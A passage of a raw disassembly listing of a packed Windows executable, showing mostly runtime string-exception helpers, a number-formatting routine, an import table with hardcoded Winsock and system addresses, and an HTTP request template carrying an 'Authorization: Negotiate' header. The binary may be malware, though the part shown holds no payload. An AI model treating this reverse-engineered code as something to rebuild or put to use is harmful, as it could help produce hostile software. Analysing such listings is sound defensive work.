sub_4196CF+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41972B: ; CODE XREF: sub_4196CF+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_419730: ; CODE XREF: sub_4196CF+25j ; sub_4196CF+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4196CF endp ; =============== S U B R O U T I N E ======================================= sub_419742 proc near ; CODE XREF: sub_4048B2+21p ; sub_419668+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_419769 push esi call sub_40E730 inc eax push eax call sub_40E882 pop ecx test eax, eax pop ecx jz short loc_419769 push esi push eax call sub_40ED20 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_419769: ; CODE XREF: sub_419742+7j ; sub_419742+1Aj xor eax, eax pop esi retn sub_419742 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419770 proc near ; CODE XREF: sub_419853+19p ; sub_41997A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40E730 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_402616 mov eax, esi pop esi retn 8 sub_419770 endp ; =============== S U B R O U T I N E ======================================= sub_41979A proc near ; CODE XREF: .packed:004197C5p ; sub_419848+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_4025DA mov ecx, esi pop esi jmp sub_419BAB sub_41979A endp ; =============== S U B R O U T I N E ======================================= sub_4197B5 proc near ; DATA XREF: .packed:0041A8D0o ; .packed:0041A8E0o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4197C1 mov eax, offset dword_41A238 locret_4197C1: ; CODE XREF: sub_4197B5+5j retn sub_4197B5 endp ; --------------------------------------------------------------------------- push esi mov esi, ecx call sub_41979A test byte ptr [esp+8], 1 jz short loc_4197D8 push esi call sub_40F46F pop ecx loc_4197D8: ; CODE XREF: .packed:004197CFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4197DE proc near ; CODE XREF: sub_419853+29p mov eax, offset loc_419C62 call sub_40F450 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_41A8E8 call sub_419B24 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_419890 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41A8DC mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4197DE endp ; =============== S U B R O U T I N E ======================================= sub_41982C proc near ; DATA XREF: .packed:off_41A8DCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_419848 test [esp+4+arg_0], 1 jz short loc_419842 push esi call sub_40F46F pop ecx loc_419842: ; CODE XREF: sub_41982C+Dj mov eax, esi pop esi retn 4 sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_419848 proc near ; CODE XREF: sub_41982C+3p ; DATA XREF: .packed:0041AC24o mov dword ptr [ecx], offset off_41A8DC jmp sub_41979A sub_419848 endp ; =============== S U B R O U T I N E ======================================= sub_419853 proc near ; CODE XREF: sub_402487+13p ; sub_40264B+Ep mov eax, offset loc_419C74 call sub_40F450 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_419770 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4197DE push offset dword_41AC20 lea eax, [ebp-3Ch] push eax call sub_419BCE int 3 ; Trap to Debugger sub_419853 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419890 proc near ; CODE XREF: sub_4197DE+32p ; sub_4198B0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_402487 mov eax, esi pop esi retn 4 sub_419890 endp ; =============== S U B R O U T I N E ======================================= sub_4198B0 proc near ; CODE XREF: sub_41997A+29p mov eax, offset loc_419C86 call sub_40F450 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_41A8E8 call sub_419B24 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_419890 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4198B0 endp ; =============== S U B R O U T I N E ======================================= sub_4198F8 proc near ; CODE XREF: sub_419962+7p ; sub_4199BE+7p ... mov eax, offset loc_419C98 call sub_40F450 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_419B61 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_419890 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4198F8 endp ; =============== S U B R O U T I N E ======================================= sub_41993B proc near ; DATA XREF: .packed:off_41A908o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_419957 test [esp+4+arg_0], 1 jz short loc_419951 push esi call sub_40F46F pop ecx loc_419951: ; CODE XREF: sub_41993B+Dj mov eax, esi pop esi retn 4 sub_41993B endp ; =============== S U B R O U T I N E ======================================= sub_419957 proc near ; CODE XREF: sub_41993B+3p ; DATA XREF: .packed:0041ACCCo mov dword ptr [ecx], offset off_41A908 jmp sub_41979A sub_419957 endp ; =============== S U B R O U T I N E ======================================= sub_419962 proc near ; CODE XREF: sub_4199D6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4198F8 mov dword ptr [esi], offset off_41A8DC mov eax, esi pop esi retn 4 sub_419962 endp ; =============== S U B R O U T I N E ======================================= sub_41997A proc near ; CODE XREF: sub_4023D7+15p ; sub_402430+15p ... mov eax, offset loc_419CAA call sub_40F450 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_419770 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4198B0 push offset dword_41ACC8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_41A908 call sub_419BCE int 3 ; Trap to Debugger sub_41997A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199BE proc near ; CODE XREF: sub_4199D6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4198F8 mov dword ptr [esi], offset off_41A908 mov eax, esi pop esi retn 4 sub_4199BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199D6 proc near ; DATA XREF: .packed:0041A8D4o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4198F8 push offset dword_41AD08 lea eax, [ebp+var_1C] push eax call sub_419BCE int 3 ; Trap to Debugger loc_4199F4: ; DATA XREF: .packed:0041A910o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4199BE push offset dword_41ACC8 lea eax, [ebp+var_1C] push eax call sub_419BCE int 3 ; Trap to Debugger loc_419A12: ; DATA XREF: .packed:0041A8E4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_419962 push offset dword_41AC20 lea eax, [ebp+var_1C] push eax call sub_419BCE int 3 ; Trap to Debugger sub_4199D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_419A30 proc near ; CODE XREF: sub_401D69+5Ep ; sub_402C55+13Fp ... jmp dword_41A1D0 sub_419A30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_419A36 proc near ; CODE XREF: sub_40580B+4Ap jmp dword_41A180 sub_419A36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_419A3C proc near ; CODE XREF: sub_40580B+33p jmp dword_41A17C sub_419A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_419A42 proc near ; CODE XREF: sub_40580B+Fp jmp dword_41A178 sub_419A42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_419A48 proc near ; CODE XREF: sub_40F0BC+23p ; sub_40F360+13p jmp dword_41A128 sub_419A48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A4E proc near ; CODE XREF: .packed:0040E0EBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_419A63 cmp [ebp+arg_0], 0 jge short loc_419A63 push 1 push 0Ah jmp short loc_419A68 ; --------------------------------------------------------------------------- loc_419A63: ; CODE XREF: sub_419A4E+7j ; sub_419A4E+Dj push 0 push [ebp+arg_8] loc_419A68: ; CODE XREF: sub_419A4E+13j push [ebp+arg_4] push [ebp+arg_0] call sub_419A7B mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_419A4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A7B proc near ; CODE XREF: sub_419A4E+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_419A95 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_419A98 ; --------------------------------------------------------------------------- loc_419A95: ; CODE XREF: sub_419A7B+Dj mov esi, [ebp+arg_0] loc_419A98: ; CODE XREF: sub_419A7B+18j mov edi, ecx loc_419A9A: ; CODE XREF: sub_419A7B+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_419AB6 add bl, 57h jmp short loc_419AB9 ; --------------------------------------------------------------------------- loc_419AB6: ; CODE XREF: sub_419A7B+34j add bl, 30h loc_419AB9: ; CODE XREF: sub_419A7B+39j mov [ecx], bl inc ecx test esi, esi ja short loc_419A9A and byte ptr [ecx], 0 dec ecx loc_419AC4: ; CODE XREF: sub_419A7B+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_419AC4 pop edi pop esi pop ebx pop ebp retn sub_419A7B endp ; =============== S U B R O U T I N E ======================================= sub_419AD7 proc near ; CODE XREF: .packed:00419AEFp mov dword ptr [ecx], offset off_41A928 mov ecx, [ecx+4] test ecx, ecx jz short locret_419AEB push ecx call sub_40ECAF pop ecx locret_419AEB: ; CODE XREF: sub_419AD7+Bj retn sub_419AD7 endp ; --------------------------------------------------------------------------- loc_419AEC: ; DATA XREF: .packed:off_41A928o push esi mov esi, ecx call sub_419AD7 test byte ptr [esp+8], 1 jz short loc_419B02 push esi call sub_40F46F pop ecx loc_419B02: ; CODE XREF: .packed:00419AF9j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_419B08: ; DATA XREF: .packed:off_41A930o push esi mov esi, ecx call sub_419BAB test byte ptr [esp+8], 1 jz short loc_419B1E push esi call sub_40F46F pop ecx loc_419B1E: ; CODE XREF: .packed:00419B15j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_419B24 proc near ; CODE XREF: sub_4197DE+1Dp ; sub_4198B0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41A930 push dword ptr [edi] call sub_40E730 inc eax push eax call sub_40F7B5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_419B53 push dword ptr [edi] push eax call sub_40ED20 pop ecx pop ecx loc_419B53: ; CODE XREF: sub_419B24+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_419B24 endp ; =============== S U B R O U T I N E ======================================= sub_419B61 proc near ; CODE XREF: sub_4198F8+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41A930 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_419B9E push dword ptr [edi+4] call sub_40E730 inc eax push eax call sub_40F7B5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_419BA4 push dword ptr [edi+4] push eax call sub_40ED20 pop ecx pop ecx jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419B9E: ; CODE XREF: sub_419B61+16j mov eax, [edi+4] mov [esi+4], eax loc_419BA4: ; CODE XREF: sub_419B61+2Ej ; sub_419B61+3Bj mov eax, esi pop edi pop esi retn 4 sub_419B61 endp ; =============== S U B R O U T I N E ======================================= sub_419BAB proc near ; CODE XREF: sub_41979A+16j ; .packed:00419B0Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41A930 jz short locret_419BC0 push dword ptr [ecx+4] call sub_40F46F pop ecx locret_419BC0: ; CODE XREF: sub_419BAB+Aj retn sub_419BAB endp ; =============== S U B R O U T I N E ======================================= sub_419BC1 proc near ; DATA XREF: .packed:0041A934o mov eax, [ecx+4] test eax, eax jnz short locret_419BCD mov eax, offset aUnknownExcepti ; "Unknown exception" locret_419BCD: ; CODE XREF: sub_419BC1+5j retn sub_419BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BCE proc near ; CODE XREF: sub_419853+37p ; sub_41997A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41A950 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_41A15C ; RaiseException pop edi pop esi leave retn 8 sub_419BCE endp ; =============== S U B R O U T I N E ======================================= sub_419C08 proc near ; DATA XREF: .packed:0041AB0Co ; FUNCTION CHUNK AT 004023CF SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_4023CF sub_419C08 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_419C26 mov ecx, [ebp+8] jmp loc_4023CF ; --------------------------------------------------------------------------- locret_419C26: ; CODE XREF: .packed:00419C18j retn ; --------------------------------------------------------------------------- loc_419C27: ; DATA XREF: sub_401FA5o mov eax, offset dword_41AAE0 jmp loc_40F10B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_4023CF ; --------------------------------------------------------------------------- loc_419C3C: ; DATA XREF: .packed:0041AB3Co lea ecx, [ebp-1Ch] jmp loc_4023CF ; --------------------------------------------------------------------------- loc_419C44: ; DATA XREF: sub_402147o mov eax, offset dword_41AB10 jmp loc_40F10B ; --------------------------------------------------------------------------- align 10h loc_419C50: ; DATA XREF: sub_4026B2o mov eax, offset dword_41AB40 jmp loc_40F10B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_419BAB ; --------------------------------------------------------------------------- loc_419C62: ; DATA XREF: sub_4197DEo mov eax, offset dword_41ABA0 jmp loc_40F10B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_4023CF ; --------------------------------------------------------------------------- loc_419C74: ; DATA XREF: sub_419853o mov eax, offset dword_41AC38 jmp loc_40F10B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_419BAB ; --------------------------------------------------------------------------- loc_419C86: ; DATA XREF: sub_4198B0o mov eax, offset dword_41AC5C jmp loc_40F10B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_419BAB ; --------------------------------------------------------------------------- loc_419C98: ; DATA XREF: sub_4198F8o mov eax, offset dword_41AC80 jmp loc_40F10B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_4023CF ; --------------------------------------------------------------------------- loc_419CAA: ; DATA XREF: sub_41997Ao mov eax, offset dword_41ACE0 jmp loc_40F10B ; --------------------------------------------------------------------------- dd 0D3h dup(0) dword_41A000 dd 77E802FCh ; DATA XREF: sub_406287+109r ; sub_406287+250r ... dword_41A004 dd 77E6BD68h ; DATA XREF: sub_419489+173r dword_41A008 dd 77E77F2Eh ; DATA XREF: sub_41920C+3Er ; sub_41920C+261r dword_41A00C dd 77E762D0h ; DATA XREF: sub_41920C+5Br ; sub_41920C+B9r dword_41A010 dd 77E70192h ; DATA XREF: sub_418C8A+F9r dword_41A014 dd 77E73FF9h ; DATA XREF: sub_4177D0+2Cr dword_41A018 dd 77E7FF2Eh ; DATA XREF: sub_4176A2:loc_4176F2r ; sub_417719:loc_41776Cr dword_41A01C dd 77E7C866h ; DATA XREF: sub_41745D+3Fr ; sub_41745D+12Dr dword_41A020 dd 77E641EBh ; DATA XREF: sub_41745D+59r ; sub_41745D+8Dr dword_41A024 dd 77E7176Ch ; DATA XREF: sub_4172A2+8r dword_41A028 dd 77E7339Ch ; DATA XREF: sub_41726A+Cr dword_41A02C dd 77E7C9E7h ; DATA XREF: sub_41724C+5r ; sub_41725D+6r dword_41A030 dd 77E77EE1h ; DATA XREF: sub_4165EC+9r dword_41A034 dd 77E67702h ; DATA XREF: sub_4165EC:loc_41661Br ; sub_4165EC+E1r dword_41A038 dd 77E7C9E1h ; DATA XREF: sub_4165EC+CEr dword_41A03C dd 77E9C5B1h ; DATA XREF: sub_4165EC+11Fr dword_41A040 dd 77EB9A84h ; DATA XREF: sub_41610A+138r dword_41A044 dd 77E6C703h ; DATA XREF: sub_415E39+1Ar dword_41A048 dd 77E7A13Fh ; DATA XREF: sub_415E39+2Fr dword_41A04C dd 77E7849Fh ; DATA XREF: sub_415CA0+48r ; sub_415EDF+14r ... dword_41A050 dd 77E781F9h ; DATA XREF: sub_4158A4+42r ; sub_4158A4+14Dr ... dword_41A054 dd 77E77405h ; DATA XREF: sub_4158A4+5Er ; sub_4158A4+A7r dword_41A058 dd 77E79924h ; DATA XREF: sub_4158A4+20Dr ; sub_4165EC+7Er ... dword_41A05C dd 77E78C81h ; DATA XREF: sub_415560+4Fr dword_41A060 dd 77E61BE6h ; DATA XREF: sub_401000+D5r ; sub_4011DC+A9r ... dword_41A064 dd 77E77CCEh ; DATA XREF: sub_4010F9+66r ; sub_4011DC+65r ... dword_41A068 dd 77E77963h ; DATA XREF: sub_4014EF:loc_401621r ; sub_4014EF+14Er ... dword_41A06C dd 77E79D8Ch ; DATA XREF: sub_4014EF+117r ; sub_404CE2+AEr ... dword_41A070 dd 77E73EACh ; DATA XREF: sub_4014EF+FFr dword_41A074 dd 77E7A837h ; DATA XREF: sub_4014EF+79r ; sub_404C1C+36r ... dword_41A078 dd 77E7A099h ; DATA XREF: sub_4032AB+1Er ; sub_4034A7+75r ... dword_41A07C dd 77F5157Dh ; DATA XREF: sub_4034A7:loc_403602r ; sub_4039C6:loc_403B2Cr ... dword_41A080 dd 77E7AC37h ; DATA XREF: sub_4034A7+12Br ; sub_4039C6+142r ... dword_41A084 dd 77E73C49h ; DATA XREF: sub_4037AE+212r ; sub_4039C6+23Fr ... dword_41A088 dd 77F7E300h ; DATA XREF: sub_4037AE+142r dword_41A08C dd 77F7E21Fh ; DATA XREF: sub_4037AE+D7r dword_41A090 dd 77E7751Ah ; DATA XREF: sub_4037AE+32r ; sub_4053E4+4r ... dword_41A094 dd 77E7C706h ; DATA XREF: sub_4039C6+77r dword_41A098 dd 77F53275h ; DATA XREF: sub_4039C6+6Br ; sub_4039C6+22Fr dword_41A09C dd 77E805D8h ; DATA XREF: sub_403C25+13Ar ; sub_403C25:loc_404115r ... dword_41A0A0 dd 77E7A5FDh ; DATA XREF: sub_403C25+11r ; sub_40502F+32r ... dword_41A0A4 dd 77E79F93h ; DATA XREF: sub_403C25+2r ; sub_404CE2+FBr ... dword_41A0A8 dd 77E76A60h ; DATA XREF: sub_404B10+2Dr dword_41A0AC dd 77E75090h ; DATA XREF: sub_404B9A+69r dword_41A0B0 dd 77E74D76h ; DATA XREF: sub_404B9A+36r dword_41A0B4 dd 77E77797h ; DATA XREF: sub_404B9A+25r dword_41A0B8 dd 77E7011Ah ; DATA XREF: sub_404C1C+96r ; sub_405076+2FAr dword_41A0BC dd 77E73CE2h ; DATA XREF: sub_404C1C+60r ; sub_405076+EAr dword_41A0C0 dd 77E61BB8h ; DATA XREF: sub_404CE2+17Er ; sub_407CCD+47Er ... dword_41A0C4 dd 77E668D9h ; DATA XREF: sub_404CE2+15Dr dword_41A0C8 dd 77E70396h ; DATA XREF: sub_404CE2+126r ; sub_405076+B4r ... dword_41A0CC dd 77E74CABh ; DATA XREF: sub_404CE2+10Fr ; sub_409034+19Er dword_41A0D0 dd 77E6AD34h ; DATA XREF: sub_404CE2+35r ; sub_40997B+1BBEr dword_41A0D4 dd 77E7C657h ; DATA XREF: sub_404FE0+1Ar ; sub_405503+23r ... dword_41A0D8 dd 77E6BD13h ; DATA XREF: sub_409034:loc_4091EFr dword_41A0DC dd 77E76C1Ah ; DATA XREF: sub_405503+1D6r dword_41A0E0 dd 77E64106h ; DATA XREF: sub_405503+1B7r dword_41A0E4 dd 77E64006h ; DATA XREF: sub_405503+1A0r dword_41A0E8 dd 77E704FCh ; DATA XREF: sub_405503+184r ; sub_4081F8+74r ... dword_41A0EC dd 77E6D75Bh ; DATA XREF: sub_406287+FFr ; sub_406906+182r dword_41A0F0 dd 77E70F89h ; DATA XREF: sub_407A4E+Dr ; sub_4101B6+Dr dword_41A0F4 dd 77E75CB5h ; DATA XREF: sub_407CCD+3AAr ; sub_407CCD+494r ... dword_41A0F8 dd 77E73628h ; DATA XREF: sub_409034+32Fr ; sub_40997B+2A71r dword_41A0FC dd 77E706B7h ; DATA XREF: sub_409034+26Br ; sub_40DB61+1A4r ... dword_41A100 dd 77E80656h ; DATA XREF: sub_409034+25Er dword_41A104 dd 77E79D5Bh ; DATA XREF: sub_409034+68r ; sub_409034+305r dword_41A108 dd 77E7C2C4h ; DATA XREF: sub_409034+61r dword_41A10C dd 77E76A2Eh ; DATA XREF: sub_40997B+1B1Dr ; sub_40997B+1B8Dr ... dword_41A110 dd 77E79C90h ; DATA XREF: sub_40DAF6+Cr ; sub_41085B+10r dword_41A114 dd 77E616B4h ; DATA XREF: sub_40DB61+1B4r ; sub_40DE07+1Fr ... dword_41A118 dd 77E7513Ch ; DATA XREF: .packed:0040E11Dr dword_41A11C dd 77E75CEBh ; DATA XREF: sub_40E311+2Br dword_41A120 dd 77F516F8h ; DATA XREF: sub_40E8C0+6Cr ; sub_4117A7+Dr ... dword_41A124 dd 77F51597h ; DATA XREF: sub_40ECAF+60r ; sub_41181A+2C5r ... dword_41A128 dd 77F6183Eh ; DATA XREF: sub_419A48r dword_41A12C dd 77E76E3Dh ; DATA XREF: sub_4101B6+6Cr ; sub_417AF5+38r dword_41A130 dd 77E61608h ; DATA XREF: sub_4101B6+17r dword_41A134 dd 77E6177Ah ; DATA XREF: sub_410B5C+9Fr ; sub_4153B5+59r dword_41A138 dd 77E7C938h ; DATA XREF: sub_410B5C+74r dword_41A13C dd 77E7C486h ; DATA XREF: sub_410B5C+26r dword_41A140 dd 77E7AC5Eh ; DATA XREF: sub_411602+54r dword_41A144 dd 77E76E0Bh ; DATA XREF: sub_41174A+50r dword_41A148 dd 77E7C726h ; DATA XREF: sub_41174A+11r dword_41A14C dd 77E79E34h ; DATA XREF: sub_41181A+240r ; sub_4122EE+120r ... dword_41A150 dd 77E7980Ah ; DATA XREF: sub_411E4C+76r ; sub_411EFD+51r ... dword_41A154 dd 77F5722Fh ; DATA XREF: sub_411E4C+28r ; sub_414008+110r ... dword_41A158 dd 77E73196h ; DATA XREF: sub_417286+Cr dword_41A15C dd 77E6D706h ; DATA XREF: sub_412AA6+215r ; sub_419BCE+2Er dword_41A160 dd 77F522F2h ; DATA XREF: sub_4142A8+58r dword_41A164 dd 77E78B82h ; DATA XREF: sub_4151BF+84r ; sub_4151BF+155r dword_41A168 dd 77E7C931h ; DATA XREF: sub_4153B5+19Dr dword_41A16C dd 77E79C3Dh ; DATA XREF: sub_4153B5+158r ; sub_416839+143r dword_41A170 dd 77E78406h ; DATA XREF: sub_4153B5+FFr ; sub_4153B5+166r ... align 8 dword_41A178 dd 77C015E3h ; DATA XREF: sub_419A42r dword_41A17C dd 77C0162Dh ; DATA XREF: sub_419A3Cr dword_41A180 dd 77C0167Dh ; DATA XREF: sub_419A36r align 8 dword_41A188 dd 71AB157Eh ; DATA XREF: sub_40997B+15BEr dword_41A18C dd 71AB5A01h ; DATA XREF: sub_407550+20r dword_41A190 dd 71AB4122h ; DATA XREF: sub_407467+D4r dword_41A194 dd 71AB1836h ; DATA XREF: sub_40322E+6Er ; sub_4032AB+BAr dword_41A198 dd 71AB41DAh ; DATA XREF: sub_402C55+47r ; sub_40322E+15r dword_41A19C dd 71AB3F8Dh ; DATA XREF: sub_402C55+75r dword_41A1A0 dd 71AB155Ah ; DATA XREF: sub_402C55+85r ; sub_4060E1+70r ... dword_41A1A4 dd 71AB3ECEh ; DATA XREF: sub_402C55+ACr dword_41A1A8 dd 71AB5DE2h ; DATA XREF: sub_402C55+C0r dword_41A1AC dd 71AB868Dh ; DATA XREF: sub_402C55+16Ar dword_41A1B0 dd 71AB12F8h ; DATA XREF: sub_4027C1+27r ; sub_40322E+35r ... dword_41A1B4 dd 71AB1746h ; DATA XREF: sub_4027C1+36r ; sub_402C55+9Br ... dword_41A1B8 dd 71AB3E5Dh ; DATA XREF: sub_4027C1+59r ; .packed:004028F4r ... dword_41A1BC dd 71AB5690h ; DATA XREF: sub_4027C1+6Ar ; sub_402C55+1E2r dword_41A1C0 dd 71AB1A6Dh ; DATA XREF: sub_4027C1+E0r ; .packed:loc_40291Br ... dword_41A1C4 dd 71AB3C22h ; DATA XREF: .packed:004022AFr ; sub_4027C1+45r ... dword_41A1C8 dd 71AB1AF4h ; DATA XREF: sub_401F07+12r ; sub_4027C1+C3r ... dword_41A1CC dd 71AB1890h ; DATA XREF: sub_401D69+4Cr ; sub_402C55+FDr dword_41A1D0 dd 71AB1B7Bh ; DATA XREF: sub_419A30r align 8 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402147+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_41A218 dq 1.388888888888889e-2 ; DATA XREF: sub_401F59+2Fr dbl_41A220 dq 1.666666666666667e-1 ; DATA XREF: sub_401F59+15r dword_41A228 dd 0FFFFFFFFh ; DATA XREF: sub_401FA5+16Fr ; sub_4023D7r ... align 10h dbl_41A230 dq 1.333333333333333 ; DATA XREF: sub_401FA5+79r dword_41A238 dd 2 dup(0) ; DATA XREF: sub_402147+4Do ; sub_402487+5Bo ... dbl_41A240 dq 9.765625e-4 ; DATA XREF: sub_407CCD+262r ; sub_407CCD+27Dr ... dword_41A248 dd 63h ; DATA XREF: sub_40997B+6C2o a3127659d403389 db '3127659d403389d0911ed325a6e24f12',0 ; DATA XREF: sub_40997B+1B18o align 10h a5e4b401fd2dc9f db '5e4b401fd2dc9fac49cf77c64c91218c',0 ; DATA XREF: sub_40997B+1B88o align 4 aEae2a4a6649ddf db 'eae2a4a6649ddf699412d162c4337675',0 ; DATA XREF: sub_40997B+1D49o align 4 dbl_41A2B8 dq 2.56e2 ; DATA XREF: sub_40997B+244Ar ; sub_40997B+262Br ... dbl_41A2C0 dq 3.0517578125e-5 ; DATA XREF: sub_40997B+2444r ; sub_40997B+2625r ... dbl_41A2C8 dq -3.0517578125e-5 ; DATA XREF: sub_40DE3E+1Er dbl_41A2D0 dq 1.0 ; DATA XREF: sub_40EE62+6Cr ; sub_40EFAB+6Cr ... dword_41A2D8 dd 0FFFFFFFFh, 410C33h, 410C47h ; DATA XREF: sub_410B5C+5o byte_41A2E4 db 6 ; DATA XREF: sub_410DB0:loc_410E07r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .packed:off_42209Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .packed:off_422098o align 4 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_411602+8Eo align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_411602+4Fo align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 